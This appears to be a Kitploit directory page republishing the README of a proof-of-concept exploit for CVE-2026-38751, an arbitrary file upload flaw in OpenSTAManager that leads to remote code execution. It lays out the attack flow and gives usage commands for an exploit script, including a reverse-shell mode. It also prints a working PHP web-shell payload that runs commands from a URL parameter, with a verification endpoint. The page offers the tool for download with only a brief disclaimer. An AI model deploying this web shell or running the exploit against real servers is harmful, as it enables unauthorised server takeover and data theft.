Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/mkps/cve-2026-38751-openstamanager-arbitrary-file-upload-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubmkps/cve-2026-38751-openstamanager-arbitrary-file-upload-poc

CVE-2026-38751-OpenSTAManager-Arbitrary-File-Upload-PoC

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

This repository contains a proof-of-concept (PoC) exploit for CVE-2026-38751, affecting OpenSTAManager ≤ 2.10. The vulnerability allows an authenticated attacker to upload a malicious module via the module update functionality, leading to arbitrary file upload and remote code execution (RCE).

Share

CVE-2026-38751 – OpenSTAManager Arbitrary File Upload (PoC)

This repository contains a proof-of-concept (PoC) exploit for CVE-2026-38751, affecting OpenSTAManager ≤ 2.10. The vulnerability allows an authenticated attacker to upload a malicious module via the module update functionality, leading to arbitrary file upload and remote code execution (RCE).

CVE Reference

  • MITRE CVE Entry (first disclosure record): https://www.cve.org/CVERecord?id=CVE-2026-38751
  • NVD (NIST) Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2026-38751
  • GitHub Advisory Database https://github.com/advisories/GHSA-rm34-fg4m-39mw

Affected Software

  • OpenSTAManager ≤ 2.10
  • Module update system (modules/aggiornamenti/upload_modules.php)

Vulnerability Description

The module update functionality allows authenticated users to upload ZIP-based modules without proper validation of file contents or execution boundaries. An attacker can craft a malicious module containing PHP payloads, which are then deployed into the web root and executed via the application context. This results in:

  • Arbitrary file upload (CWE-434)
  • Remote code execution via uploaded PHP files
  • Full compromise of the application context

Attack Flow (High-Level)

  1. Authenticate to OpenSTAManager
  2. Upload crafted module ZIP archive
  3. Trigger module installation/update process
  4. Access uploaded PHP payload via web root
  5. Execute arbitrary commands on the server

##Impact Successful exploitation allows:

  • Remote command execution
  • Web server compromise
  • Data exfiltration
  • Full application takeover depending on privileges

Requirements

  • Valid authenticated user account
  • Access to module update functionality enabled

Usage (PoC)

  1. Generate malicious module
root@kitploit:~
python exploit.py --build

Creates:

root@kitploit:~
update.zip
└── run/
    ├── MODULE
    └── evil.php
  1. Run exploit
root@kitploit:~
python exploit.py <username> <password> <target_url>

Optional reverse shell mode:

root@kitploit:~
python exploit.py <username> <password> <target_url> --lhost <IP> --lport <PORT>

Example Payload

root@kitploit:~
<?php
isset($_GET['cmd']) && system($_GET['cmd']);
?>

Verification

If successful, the following endpoint executes system commands: /modules/run/evil.php?cmd=id

MITRE / NVD References

  • MITRE CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-38751
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

Disclaimer

This project is intended for:

  • Educational purposes
  • Authorized security testing
  • Research environments

Do not use against systems without explicit permission.

Notes

Detection may vary depending on server configuration. Some deployments may disable direct PHP execution in module directories. Timing of module activation may require retries.

Acknowledgements

  • MITRE CVE Program
  • NIST National Vulnerability Database (NVD)
  • OpenSTAManager project maintainers
  • https://github.com/fuutianyii/poc (First poc)
Download Tool